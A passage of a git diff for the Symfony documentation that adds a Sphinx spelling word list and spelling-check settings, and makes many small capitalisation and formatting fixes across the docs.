 reference/constraints/GreaterThanOrEqual.rst  |   4 +-
 reference/constraints/Iban.rst                |  14 +-
 reference/constraints/IdenticalTo.rst         |   4 +-
 reference/constraints/Image.rst               | 108 ++--
 reference/constraints/Ip.rst                  |  10 +-
 reference/constraints/IsFalse.rst             |   4 +-
 reference/constraints/IsNull.rst              |   4 +-
 reference/constraints/IsTrue.rst              |   4 +-
 reference/constraints/Isbn.rst                |  26 +-
 reference/constraints/Issn.rst                |  14 +-
 reference/constraints/Language.rst            |   4 +-
 reference/constraints/Length.rst              |  28 +-
 reference/constraints/LessThan.rst            |   4 +-
 reference/constraints/LessThanOrEqual.rst     |   4 +-
 reference/constraints/Locale.rst              |   4 +-
 reference/constraints/Luhn.rst                |   8 +-
 reference/constraints/NotBlank.rst            |   4 +-
 reference/constraints/NotEqualTo.rst          |   4 +-
 reference/constraints/NotIdenticalTo.rst      |   4 +-
 reference/constraints/NotNull.rst             |   4 +-
 reference/constraints/Range.rst               |  20 +-
 reference/constraints/Regex.rst               |  16 +-
 reference/constraints/Time.rst                |   4 +-
 reference/constraints/Type.rst                |   8 +-
 reference/constraints/UniqueEntity.rst        |  28 +-
 reference/constraints/Url.rst                 |  18 +-
 reference/constraints/UserPassword.rst        |   4 +-
 reference/constraints/Uuid.rst                |  14 +-
 reference/constraints/Valid.rst               |   4 +-
 .../_comparison-propertypath-option.rst.inc   |   4 +-
 .../_comparison-value-option.rst.inc          |   4 +-
 reference/constraints/_groups-option.rst.inc  |   4 +-
 reference/constraints/_payload-option.rst.inc |   4 +-
 reference/dic_tags.rst                        | 166 +++---
 reference/forms/twig_reference.rst            |  40 +-
 reference/forms/types/birthday.rst            |  10 +-
 reference/forms/types/button.rst              |   4 +-
 reference/forms/types/choice.rst              |  72 +--
 reference/forms/types/collection.rst          |  48 +-
 reference/forms/types/country.rst             |   4 +-
 reference/forms/types/currency.rst            |   4 +-
 reference/forms/types/date.rst                |  38 +-
 reference/forms/types/dateinterval.rst        | 102 ++--
 reference/forms/types/datetime.rst            |  52 +-
 reference/forms/types/entity.rst              |  28 +-
 reference/forms/types/file.rst                |  14 +-
 reference/forms/types/form.rst                |   4 +-
 reference/forms/types/hidden.rst              |   8 +-
 reference/forms/types/integer.rst             |   8 +-
 reference/forms/types/language.rst            |   4 +-
 reference/forms/types/locale.rst              |   4 +-
 reference/forms/types/money.rst               |  12 +-
 reference/forms/types/number.rst              |   8 +-
 reference/forms/types/options/action.rst.inc  |   4 +-
 reference/forms/types/options/attr.rst.inc    |   4 +-
 .../types/options/auto_initialize.rst.inc     |   4 +-
 .../forms/types/options/block_name.rst.inc    |   4 +-
 .../types/options/button_disabled.rst.inc     |   4 +-
 .../forms/types/options/button_label.rst.inc  |   4 +-
 .../options/button_translation_domain.rst.inc |   4 +-
 .../forms/types/options/by_reference.rst.inc  |   4 +-
 .../types/options/checkbox_compound.rst.inc   |   4 +-
 .../types/options/checkbox_empty_data.rst.inc |   4 +-
 .../forms/types/options/choice_attr.rst.inc   |   4 +-
 .../forms/types/options/choice_label.rst.inc  |   4 +-
 .../forms/types/options/choice_name.rst.inc   |   4 +-
 .../options/choice_translation_domain.rst.inc |   4 +-
 .../types/options/choice_type_trim.rst.inc    |   4 +-
 .../forms/types/options/choice_value.rst.inc  |   4 +-
 .../forms/types/options/compound.rst.inc      |   4 +-
 .../forms/types/options/compound_type.rst.inc |   4 +-
 .../forms/types/options/constraints.rst.inc   |   4 +-
 reference/forms/types/options/data.rst.inc    |   4 +-
 .../forms/types/options/data_class.rst.inc    |   4 +-
 .../types/options/data_class_date.rst.inc     |   4 +-
 .../forms/types/options/date_format.rst.inc   |   4 +-
 .../forms/types/options/date_input.rst.inc    |   4 +-
 .../forms/types/options/date_widget.rst.inc   |   4 +-
 reference/forms/types/options/days.rst.inc    |   4 +-
 .../forms/types/options/disabled.rst.inc      |   4 +-
 .../forms/types/options/empty_data.rst.inc    |   4 +-
 .../types/options/error_bubbling.rst.inc      |   4 +-
 .../forms/types/options/error_mapping.rst.inc |   6 +-
 .../forms/types/options/expanded.rst.inc      |   4 +-
 .../options/extra_fields_message.rst.inc      |   4 +-
 .../forms/types/options/group_by.rst.inc      |   4 +-
 .../forms/types/options/grouping.rst.inc      |   4 +-
 reference/forms/types/options/hours.rst.inc   |   4 +-
 reference/forms/types/options/html5.rst.inc   |   4 +-
 .../forms/types/options/inherit_data.rst.inc  |   4 +-
 .../types/options/invalid_message.rst.inc     |   4 +-
 .../invalid_message_parameters.rst.inc        |   4 +-
 reference/forms/types/options/label.rst.inc   |   4 +-
 .../forms/types/options/label_attr.rst.inc    |   4 +-
 .../forms/types/options/label_format.rst.inc  |   4 +-
 reference/forms/types/options/mapped.rst.inc  |   4 +-
 reference/forms/types/options/method.rst.inc  |   4 +-
 reference/forms/types/options/minutes.rst.inc |   4 +-
 .../types/options/model_timezone.rst.inc      |   4 +-
 reference/forms/types/options/months.rst.inc  |   4 +-
 .../forms/types/options/multiple.rst.inc      |   4 +-
 .../forms/types/options/placeholder.rst.inc   |   4 +-
 .../options/post_max_size_message.rst.inc     |   4 +-
 .../types/options/preferred_choices.rst.inc   |   4 +-
 .../forms/types/options/property_path.rst.inc |   4 +-
 .../forms/types/options/required.rst.inc      |   4 +-
 reference/forms/types/options/scale.rst.inc   |   4 +-
 reference/forms/types/options/seconds.rst.inc |   4 +-
 .../types/options/translation_domain.rst.inc  |   4 +-
 reference/forms/types/options/trim.rst.inc    |   4 +-
 .../types/options/validation_groups.rst.inc   |   4 +-
 reference/forms/types/options/value.rst.inc   |   4 +-
 .../forms/types/options/view_timezone.rst.inc |   4 +-
 .../forms/types/options/with_minutes.rst.inc  |   4 +-
 .../forms/types/options/with_seconds.rst.inc  |   4 +-
 reference/forms/types/options/years.rst.inc   |   4 +-
 reference/forms/types/password.rst            |   8 +-
 reference/forms/types/percent.rst             |   8 +-
 reference/forms/types/repeated.rst            |  28 +-
 reference/forms/types/reset.rst               |   4 +-
 reference/forms/types/submit.rst              |  18 +-
 reference/forms/types/textarea.rst            |   2 +-
 reference/forms/types/time.rst                |  46 +-
 reference/forms/types/timezone.rst            |  12 +-
 reference/forms/types/url.rst                 |   4 +-
 reference/twig_reference.rst                  | 174 +++---
 routing/hostname_pattern.rst                  |   2 +-
 routing/redirect_in_config.rst                |   2 +-
 security.rst                                  |  12 +-
 security/access_control.rst                   |  54 +-
 security/acl.rst                              |   2 +-
 security/api_key_authentication.rst           |  14 +-
 security/custom_password_authenticator.rst    |  12 +-
 security/custom_provider.rst                  |   2 +-
 security/ldap.rst                             |  28 +-
 service_container.rst                         |  18 +-
 service_container/3.3-di-changes.rst          |  14 +-
 .../service_subscribers_locators.rst          |   2 +-
 service_container/tags.rst                    |   2 +-
 session/proxy_examples.rst                    |   6 +-
 setup.rst                                     |   4 +-
 setup/_vendor_deps.rst.inc                    |   2 +-
 setup/file_permissions.rst                    |   4 +-
 setup/flex.rst                                |   2 +-
 setup/symfony_server.rst                      |   4 +-
 setup/web_server_configuration.rst            |  30 +-
 templating/hinclude.rst                       |  10 +-
 web_link.rst                                  |   2 +-
 222 files changed, 1940 insertions(+), 1583 deletions(-)
 create mode 100644 _build/spelling_word_list.txt

diff --git a/.gitignore b/.gitignore
index a5eb433eea3..6a20088680a 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,3 +1,4 @@
 /_build/doctrees
+/_build/spelling
 /_build/html
 *.pyc
diff --git a/_build/.requirements.txt b/_build/.requirements.txt
index 53c6c3ddff0..6f1f8953dff 100644
--- a/_build/.requirements.txt
+++ b/_build/.requirements.txt
@@ -9,5 +9,5 @@ pytz==2017.2
 requests==2.20.0
 six==1.10.0
 snowballstemmer==1.2.1
-Sphinx==1.3.6
+sphinx==1.3.6
 git+https://github.com/fabpot/sphinx-php.git@7312eccce9465640752e51373a480da700e02345#egg_name=sphinx-php
diff --git a/_build/conf.py b/_build/conf.py
index b707b25a477..998fb450a08 100644
--- a/_build/conf.py
+++ b/_build/conf.py
@@ -37,8 +37,13 @@
     'sphinx.ext.autodoc', 'sphinx.ext.doctest', 'sphinx.ext.todo',
     'sensio.sphinx.refinclude', 'sensio.sphinx.configurationblock', 'sensio.sphinx.phpcode', 'sensio.sphinx.bestpractice', 'sensio.sphinx.codeblock',
     'symfonycom.sphinx'
+    #,'sphinxcontrib.spelling'
 ]
 
+#spelling_show_sugestions=True
+#spelling_lang='en_US'
+#spelling_word_list_filename='_build/spelling_word_list.txt'
+
 # Add any paths that contain templates here, relative to this directory.
 # templates_path = ['_theme/_templates']
 
diff --git a/_build/spelling_word_list.txt b/_build/spelling_word_list.txt
new file mode 100644
index 00000000000..10a9c2896e1
--- /dev/null
+++ b/_build/spelling_word_list.txt
@@ -0,0 +1,347 @@
+accessor
+advertize
+Akamai
+analytics
+Ansi
+Ansible
+Assetic
+async
+authenticator
+authenticators
+autocompleted
+autocompletion
+autoconfiguration
+autoconfigure
+autoconfigured
+autoconfigures
+autoconfiguring
+autoload
+autoloaded
+autoloader
+autoloaders
+autoloading
+autoprefixing
+autowire
+autowireable
+autowired
+autowiring
+backend
+backends
+balancer
+balancers
+bcrypt
+benchmarking
+Bitbucket
+bitmask
+bitmasks
+bitwise
+Blackfire
+boolean
+booleans
+Brasseur
+browserslist
+buildpack
+buildpacks
+bundler
+cacheable
+Caddy
+callables
+camelCase
+casted
+changelog
+changeset
+charset
+charsets
+checkboxes
+classmap
+classname
+clearers
+cloner
+cloners
+codebase
+config
+configs
+configurator
+configurators
+contrib
+cron
+cronjobs
+cryptographic
+cryptographically
+Ctrl
+ctype
+cURL
+customizable
+customizations
+Cygwin
+dataset
+datepicker
+decrypt
+denormalization
+denormalize
+denormalized
+denormalizing
+deprecations
+deserialization
+deserialize
+deserialized
+deserializing
+destructor
+dev
+dn
+DNS
+docblock
+Dotenv
+downloader
+Doxygen
+DSN
+Dunglas
+easter
+Eberlei
+emilie
+enctype
+entrypoints
+enum
+env
+escaper
+escpaer
+extensibility
+extractable
+eZPublish
+Fabien
+failover
+filesystem
+filesystems
+formatter
+formatters
+fortrabbit
+frontend
+getter
+getters
+GitHub
+gmail
+Gmail
+Goutte
+grapheme
+hardcode
+hardcoded
+hardcodes
+hardcoding
+hasser
+hassers
+headshot
+HInclude
+hostname
+https
+iconv
+igbinary
+incrementing
+ini
+inlined
+inlining
+installable
+instantiation
+interoperable
+intl
+Intl
+invokable
+IPv
+isser
+issers
+Jpegoptim
+jQuery
+js
+Karlton
+kb
+kB
+Kévin
+Ki
+KiB
+kibibyte
+Kubernetes
+Kudu
+labelled
+latin
+Ldap
+libketama
+licensor
+lifecycle
+liip
+linter
+localhost
+Loggly
+Logplex
+lookups
+loopback
+lorenzo
+Luhn
+macOS
+matcher
+matchers
+mbstring
+mebibyte
+memcache
+memcached
+MiB
+michelle
+minification
+minified
+minifier
+minifies
+minify
+minifying
+misconfiguration
+misconfigured
+misgendering
+Monolog
+mutator
+nagle
+namespace
+namespaced
+namespaces
+namespacing
+natively
+nd
+netmasks
+nginx
+normalizer
+normalizers
+npm
+nyholm
+OAuth
+OPcache
+overcomplicate
+Packagist
+parallelizes
+parsers
+PHP
+PHPUnit
+PID
+plaintext
+polyfill
+polyfills
+postcss
+Potencier
+pre
+preconfigured
+predefines
+Predis
+preload
+preloaded
+preloading
+prepend
+prepended
+prepending
+prepends
+preprocessed
+preprocessors
+Procfile
+profiler
+programmatically
+prototyped
+rebase
+reconfiguring
+reconnection
+redirections
+refactorization
+regexes
+renderer
+resolvers
+responder
+reStructuredText
+reusability
+runtime
+sandboxing
+schemas
+screencast
+semantical
+serializable
+serializer
+sexualized
+Silex
+sluggable
+socio
+specificities
+SQLite
+stacktrace
+stacktraces
+storages
+stringified
+stylesheet
+stylesheets
+subclasses
+subdirectories
+subdirectory
+sublcasses
+sublicense
+sublincense
+subrequests
+subtree
+superclass
+superglobal
+superglobals
+symfony
+Symfony
+symlink
+symlinks
+syntaxes
+templating
+testability
+th
+theming
+throbber
+timestampable
+timezones
+TLS
+tmpfs
+tobias
+todo
+Tomayko
+Toolbelt
+tooltip
+Traversable
+triaging
+UI
+uid
+unary
+unauthenticate
+uncacheable
+uncached
+uncomment
+uncommented
+undelete
+unhandled
+unicode
+Unix
+unmapped
+unminified
+unported
+unregister
+unrendered
+unserialize
+unserialized
+unserializing
+unsubmitted
+untracked
+uploader
+URI
+validator
+validators
+variadic
+VirtualBox
+Vue
+webpack
+webpacked
+webpackJsonp
+webserver
+whitespace
+whitespaces
+woh
+Wordpress
+Xdebug
+xkcd
+Xliff
+XML
+XPath
+yaml
+yay
diff --git a/best_practices/creating-the-project.rst b/best_practices/creating-the-project.rst
index dc1f8dd3a50..abcda84b621 100644
--- a/best_practices/creating-the-project.rst
+++ b/best_practices/creating-the-project.rst
@@ -106,7 +106,7 @@ following:
 Application Bundles
 ~~~~~~~~~~~~~~~~~~~
 
-When Symfony 2.0 was released, most developers naturally adopted the symfony
+When Symfony 2.0 was released, most developers naturally adopted the Symfony
 1.x way of dividing applications into logical modules. That's why many Symfony
 applications use bundles to divide their code into logical features: UserBundle,
 ProductBundle, InvoiceBundle, etc.
diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 82c2f83b0bf..c9b68c1443b 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -188,7 +188,7 @@ The index file (for example ``Resources/doc/index.rst`` or
 ``Resources/doc/index.md``) is the only mandatory file and must be the entry
 point for the documentation. The
 :doc:`reStructuredText (rST) </contributing/documentation/format>` is the format
-used to render the documentation on symfony.com.
+used to render the documentation on the Symfony website.
 
 Installation Instructions
 ~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/components/cache/adapters/php_array_cache_adapter.rst b/components/cache/adapters/php_array_cache_adapter.rst
index a0e351b7f7a..c27e4fd2ecf 100644
--- a/components/cache/adapters/php_array_cache_adapter.rst
+++ b/components/cache/adapters/php_array_cache_adapter.rst
@@ -2,7 +2,7 @@
     single: Cache Pool
     single: PHP Array Cache
 
-Php Array Cache Adapter
+PHP Array Cache Adapter
 =======================
 
 This adapter is a high performance cache for static data (e.g. application configuration)
diff --git a/components/cache/adapters/php_files_adapter.rst b/components/cache/adapters/php_files_adapter.rst
index e4b55067052..8e693be63ec 100644
--- a/components/cache/adapters/php_files_adapter.rst
+++ b/components/cache/adapters/php_files_adapter.rst
@@ -4,7 +4,7 @@
 
 .. _component-cache-files-adapter:
 
-Php Files Cache Adapter
+PHP Files Cache Adapter
 =======================
 
 Similarly to :ref:`Filesystem Adapter <component-cache-filesystem-adapter>`, this cache
diff --git a/components/dotenv.rst b/components/dotenv.rst
index f09c242e226..85e2b0bccfd 100644
--- a/components/dotenv.rst
+++ b/components/dotenv.rst
@@ -28,7 +28,7 @@ Sensitive information and environment-dependent settings should be defined as
 environment variables (as recommended for `twelve-factor applications`_). Using
 a ``.env`` file to store those environment variables eases development and CI
 management by keeping them in one "standard" place and agnostic of the
-technology stack you are using (Nginx vs PHP built-in server for instance).
+technology stack you are using (nginx vs PHP built-in server for instance).
 
 .. note::
 
diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index a9c7117e043..311ecbe08af 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -477,10 +477,10 @@ represented by a PHP callable instead of a string::
 
     Additionally, PHP isn't the only layer that can buffer output. Your web
     server might also buffer based on its configuration. Some servers, such as
-    Nginx, let you disable buffering at the config level or by adding a special HTTP
+    nginx, let you disable buffering at the config level or by adding a special HTTP
     header in the response::
 
-        // disables FastCGI buffering in Nginx only for this response
+        // disables FastCGI buffering in nginx only for this response
         $response->headers->set('X-Accel-Buffering', 'no')
 
 .. _component-http-foundation-serving-files:
@@ -517,7 +517,7 @@ Alternatively, if you are serving a static file, you can use a
 
 The ``BinaryFileResponse`` will automatically handle ``Range`` and
 ``If-Range`` headers from the request. It also supports ``X-Sendfile``
-(see for `Nginx`_ and `Apache`_). To make use of it, you need to determine
+(see for `nginx`_ and `Apache`_). To make use of it, you need to determine
 whether or not the ``X-Sendfile-Type`` header should be trusted and call
 :method:`Symfony\\Component\\HttpFoundation\\BinaryFileResponse::trustXSendfileTypeHeader`
 if it should::
@@ -665,7 +665,7 @@ Learn More
     /session/*
     /http_cache/*
 
-.. _Nginx: https://www.nginx.com/resources/wiki/start/topics/examples/xsendfile/
+.. _nginx: https://www.nginx.com/resources/wiki/start/topics/examples/xsendfile/
 .. _Apache: https://tn123.org/mod_xsendfile/
 .. _`JSON Hijacking`: http://haacked.com/archive/2009/06/25/json-hijacking.aspx
 .. _OWASP guidelines: https://www.owasp.org/index.php/OWASP_AJAX_Security_Guidelines#Always_return_JSON_with_an_Object_on_the_outside
diff --git a/components/http_foundation/session_configuration.rst b/components/http_foundation/session_configuration.rst
index d4669ac85ec..8f8ce6e8ce7 100644
--- a/components/http_foundation/session_configuration.rst
+++ b/components/http_foundation/session_configuration.rst
@@ -23,7 +23,7 @@ Native PHP Save Handlers
 ------------------------
 
 So-called native handlers, are save handlers which are either compiled into
-PHP or provided by PHP extensions, such as PHP-Sqlite, PHP-Memcached and so on.
+PHP or provided by PHP extensions, such as PHP-SQLite, PHP-Memcached and so on.
 
 All native save handlers are internal to PHP and as such, have no public facing API.
 They must be configured by ``php.ini`` directives, usually ``session.save_path`` and
diff --git a/components/intl.rst b/components/intl.rst
index eec1c2c9573..ae4634ffe30 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -116,7 +116,7 @@ PhpBundleWriter
 ~~~~~~~~~~~~~~~
 
 The :class:`Symfony\\Component\\Intl\\ResourceBundle\\Writer\\PhpBundleWriter`
-writes an array or an array-like object to a .php resource bundle::
+writes an array or an array-like object to a ``.php`` resource bundle::
 
     use Symfony\Component\Intl\ResourceBundle\Writer\PhpBundleWriter;
 
@@ -147,7 +147,7 @@ PhpBundleReader
 ~~~~~~~~~~~~~~~
 
 The :class:`Symfony\\Component\\Intl\\ResourceBundle\\Reader\\PhpBundleReader`
-reads resource bundles from .php files and returns an array or an array-like
+reads resource bundles from ``.php`` files and returns an array or an array-like
 object::
 
     use Symfony\Component\Intl\ResourceBundle\Reader\PhpBundleReader;
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 838c8f7bc7c..409647e3a0c 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -145,7 +145,7 @@ a directory containing multiple test suites with their own ``phpunit.xml.dist``.
     $ ./vendor/bin/simple-phpunit tests/
 
 The modified PHPUnit script will recursively go through the provided directory,
-up to a depth of 3 subfolders or the value specified by the environment variable
+up to a depth of 3 subdirectories or the value specified by the environment variable
 ``SYMFONY_PHPUNIT_MAX_DEPTH``, looking for ``phpunit.xml.dist`` files and then
 running each suite it finds in parallel, collecting their output and displaying
 each test suite's results in their own section.
@@ -558,7 +558,7 @@ classes' namespace. In order to work as expected, the listener has to run before
 the tested class ever runs. By default, the mocked functions are created when the
 annotation are found and the corresponding tests are run. Depending on how your
 tests are constructed, this might be too late. In this case, you will need to declare
-the namespaces of the tested classes in your phpunit.xml.dist
+the namespaces of the tested classes in your ``phpunit.xml.dist``.
 
 .. code-block:: xml
 
diff --git a/components/process.rst b/components/process.rst
index 5b3c66d3924..ea626f31a38 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -387,10 +387,10 @@ When running a program asynchronously, you can send it POSIX signals with the
     // will send a SIGKILL to the process
     $process->signal(SIGKILL);
 
-Process Pid
+Process PID
 -----------
 
-You can access the `pid`_ of a running process with the
+You can access the `PID`_ of a running process with the
 :method:`Symfony\\Component\\Process\\Process::getPid` method::
 
     use Symfony\Component\Process\Process;
@@ -443,6 +443,6 @@ absolute path of the executable PHP binary available on your server::
     $phpBinaryPath = $phpBinaryFinder->find();
     // $phpBinaryPath = '/usr/local/bin/php' (the result will be different on your computer)
 
-.. _`pid`: https://en.wikipedia.org/wiki/Process_identifier
+.. _`PID`: https://en.wikipedia.org/wiki/Process_identifier
 .. _`PHP streams`: https://www.php.net/manual/en/book.stream.php
 .. _`output_buffering`: https://www.php.net/manual/en/outcontrol.configuration.php
diff --git a/configuration.rst b/configuration.rst
index fc9159be114..49b5589cee8 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -8,8 +8,8 @@ Every Symfony application consists of a collection of bundles that add useful to
 (:doc:`services </service_container>`) to your project. Each bundle can be customized
 via configuration files that live - by default - in the ``app/config`` directory.
 
-Configuration: config.yml
--------------------------
+Configuration: ``config.yml``
+-----------------------------
 
 The main configuration file is called ``config.yml``:
 
@@ -297,8 +297,8 @@ a controller - see :ref:`service-container-parameters`.
 
 .. _config-parameters-yml:
 
-The Special parameters.yml File
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+The Special ``parameters.yml`` File
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 On the surface, ``parameters.yml`` is just like any other configuration file: it
 is imported by ``config.yml`` and defines several parameters:
diff --git a/configuration/external_parameters.rst b/configuration/external_parameters.rst
index 632e9b851bd..367ec2bc331 100644
--- a/configuration/external_parameters.rst
+++ b/configuration/external_parameters.rst
@@ -96,7 +96,7 @@ will be used whenever the corresponding environment variable is *not* found:
         $container->setParameter('env(DATABASE_HOST)', 'localhost');
 
 Setting environment variables is generally done at the web server level or in the
-terminal. If you're using Apache, Nginx or just the console, you can use e.g. one
+terminal. If you're using Apache, nginx or just the console, you can use e.g. one
 of the following:
 
 .. configuration-block::
diff --git a/contributing/code/bugs.rst b/contributing/code/bugs.rst
index 2a374dedbba..440b2dac519 100644
--- a/contributing/code/bugs.rst
+++ b/contributing/code/bugs.rst
@@ -15,7 +15,7 @@ Before submitting a bug:
   framework;
 
 * Ask for assistance on `Stack Overflow`_, on the #support channel of
-  `the Symfony Slack`_ or on the #symfony `IRC channel`_ if you're not sure if
+  `the Symfony Slack`_ or on the ``#symfony`` `IRC channel`_ if you're not sure if
   your issue really is a bug.
 
 If your problem definitely looks like a bug, report it using the official bug
diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 2f89eea7052..3601d5b3fcd 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -148,7 +148,7 @@ A pull request **can be merged** if:
 * Enough time was given for peer reviews;
 
 * At least two **Merger Team** members voted ``+1`` (only one if the submitter
-  is part of the Merger team) and no Core member voted ``-1`` (via Github
+  is part of the Merger team) and no Core member voted ``-1`` (via GitHub
   reviews or as comments).
 
 Pull Request Merging Process
diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index c1a082d31e4..43147f26341 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -8,7 +8,7 @@ such as HTML and PDF.
 reStructuredText
 ----------------
 
-reStructuredText is a plaintext markup syntax similar to Markdown, but much
+reStructuredText is a plain text markup syntax similar to Markdown, but much
 stricter with its syntax. If you are new to reStructuredText, take some time to
 familiarize with this format by reading the existing `Symfony documentation`_
 source code.
diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index 7fd6aa55d5b..0a000dec71c 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -292,7 +292,7 @@ Why Do my Changes Take so Long to Be Reviewed and/or Merged?
 
 Please be patient. It can take up to several days before your pull request can
 be fully reviewed. After merging the changes, it could take again several hours
-before your changes appear on the symfony.com website.
+before your changes appear on the ``symfony.com`` website.
 
 Why Should I Use the Oldest Maintained Branch Instead of the Master Branch?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/contributing/documentation/standards.rst b/contributing/documentation/standards.rst
index 7edd66ab061..08787eb0331 100644
--- a/contributing/documentation/standards.rst
+++ b/contributing/documentation/standards.rst
@@ -63,8 +63,8 @@ Code Examples
 * To avoid horizontal scrolling on code blocks, we prefer to break a line
   correctly if it crosses the 85th character;
 * When you fold one or more lines of code, place ``...`` in a comment at the point
-  of the fold. These comments are: ``// ...`` (php), ``# ...`` (yaml/bash), ``{# ... #}``
-  (twig), ``<!-- ... -->`` (xml/html), ``; ...`` (ini), ``...`` (text);
+  of the fold. These comments are: ``// ...`` (PHP), ``# ...`` (Yaml/bash), ``{# ... #}``
+  (Twig), ``<!-- ... -->`` (XML/HTML), ``; ...`` (INI), ``...`` (text);
 * When you fold a part of a line, e.g. a variable value, put ``...`` (without comment)
   at the place of the fold;
 * Description of the folded code: (optional)
diff --git a/controller/soap_web_service.rst b/controller/soap_web_service.rst
index 6d1bd2a3be4..a4447c46a5e 100644
--- a/controller/soap_web_service.rst
+++ b/controller/soap_web_service.rst
@@ -89,7 +89,7 @@ Take note of the calls to ``ob_start()`` and ``ob_get_clean()``. These
 methods control `output buffering`_ which allows you to "trap" the echoed
 output of ``$server->handle()``. This is necessary because Symfony expects
 your controller to return a ``Response`` object with the output as its "content".
-You must also remember to set the "Content-Type" header to "text/xml", as
+You must also remember to set the ``"Content-Type"`` header to ``"text/xml"``, as
 this is what the client will expect. So, you use ``ob_start()`` to start
 buffering the STDOUT and use ``ob_get_clean()`` to dump the echoed output
 into the content of the Response and clear the output buffer. Finally, you're
diff --git a/create_framework/introduction.rst b/create_framework/introduction.rst
index 98ae23d3252..d4d9742fee9 100644
--- a/create_framework/introduction.rst
+++ b/create_framework/introduction.rst
@@ -62,7 +62,7 @@ Before You Start
 Reading about how to create a framework is not enough. You will have to follow
 along and actually type all the examples included in this tutorial. For that,
 you need a recent version of PHP (5.5.9 or later is good enough), a web server
-(like Apache, NGinx or PHP's built-in web server), a good knowledge of PHP and
+(like Apache, NGINX or PHP's built-in web server), a good knowledge of PHP and
 an understanding of Object Oriented programming.
 
 Ready to go? Read on!
diff --git a/create_framework/routing.rst b/create_framework/routing.rst
index 628a8a04d39..717ed1068fb 100644
--- a/create_framework/routing.rst
+++ b/create_framework/routing.rst
@@ -73,7 +73,7 @@ of default values for route attributes (``['name' => 'World']``).
     Read the
     :doc:`Routing component documentation </components/routing>` to
     learn more about its many features like URL generation, attribute
-    requirements, HTTP method enforcements, loaders for YAML or XML files,
+    requirements, HTTP method enforcement, loaders for YAML or XML files,
     dumpers to PHP or Apache rewrite rules for enhanced performance and much
     more.
 
diff --git a/deployment/azure-website.rst b/deployment/azure-website.rst
index c758c239d1e..71c7cd288a1 100644
--- a/deployment/azure-website.rst
+++ b/deployment/azure-website.rst
@@ -65,7 +65,7 @@ application code to the Git repository.
    :alt: Configure Azure Website credentials
 
 Congratulations! Your Azure Website is now up and running. You can check
-it by browsing to the Website url you configured in the first step. You should
+it by browsing to the website URL you configured in the first step. You should
 see the following display in your web browser:
 
 .. image:: /_images/deployment/azure-website/step-05.png
@@ -117,8 +117,8 @@ the web server.
     .. image:: /_images/deployment/azure-website/step-08.png
        :alt: OPCache Configuration
 
-Tweaking php.ini Configuration Settings
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Tweaking ``php.ini`` Configuration Settings
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Microsoft Azure allows you to override the ``php.ini`` global configuration
 settings by creating a custom ``.user.ini`` file under the project root
diff --git a/deployment/fortrabbit.rst b/deployment/fortrabbit.rst
index ad1ca05aacf..31195949912 100644
--- a/deployment/fortrabbit.rst
+++ b/deployment/fortrabbit.rst
@@ -182,7 +182,7 @@ Environment Variables
 ~~~~~~~~~~~~~~~~~~~~~
 
 Set the ``SYMFONY_ENV`` environment variable to ``prod`` to make sure the right
-config files get loaded. ENV vars are configuable in fortrabbit Dashboard as well.
+config files get loaded. ENV vars are configurable in fortrabbit Dashboard as well.
 
 Document Root
 ~~~~~~~~~~~~~
@@ -198,7 +198,7 @@ It is assumed that your codebase is under version-control with Git and dependenc
 are managed with Composer (locally).
 
 Every time you push to fortrabbit composer install runs before your code gets
-deployed. To finetune the deployment behavior put a `fortrabbit.yml`_. deployment
+deployed. To fine-tune the deployment behavior put a `fortrabbit.yml`_. deployment
 file (optional) in the project root.
 
 Add fortrabbit as a (additional) Git remote and add your configuration changes:
diff --git a/deployment/heroku.rst b/deployment/heroku.rst
index 1fe7748e35a..fbef77703b2 100644
--- a/deployment/heroku.rst
+++ b/deployment/heroku.rst
@@ -98,7 +98,7 @@ directory of the application and add just the following content:
 
 .. note::
 
-    If you prefer to use Nginx, which is also available on Heroku, you can create
+    If you prefer to use nginx, which is also available on Heroku, you can create
     a configuration file for it and point to it from your Procfile as described
     in the `Heroku documentation`_:
 
diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 9015a7165a5..cb2c52718c0 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -18,8 +18,8 @@ via HTTPS, the client's port and the hostname being requested.
 
 .. _request-set-trusted-proxies:
 
-Solution: setTrustedProxies()
------------------------------
+Solution: ``setTrustedProxies()``
+---------------------------------
 
 To fix this, you need to tell Symfony which reverse proxy IP addresses to trust
 and what headers your reverse proxy uses to send information::
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index bf3b618f6c6..24a333c8a36 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -189,10 +189,10 @@ own a collection of its related ``Product`` objects.
 
 .. tip::
 
-    The targetEntity value in the metadata used above can reference any entity
+    The ``targetEntity`` value in the metadata used above can reference any entity
     with a valid namespace, not just entities defined in the same namespace. To
     relate to an entity defined in a different class or bundle, enter a full
-    namespace as the targetEntity.
+    namespace as the ``targetEntity``.
 
 Now that you've added new properties to both the ``Product`` and ``Category``
 classes, you must generate the missing getter and setter methods manually or
diff --git a/doctrine/custom_dql_functions.rst b/doctrine/custom_dql_functions.rst
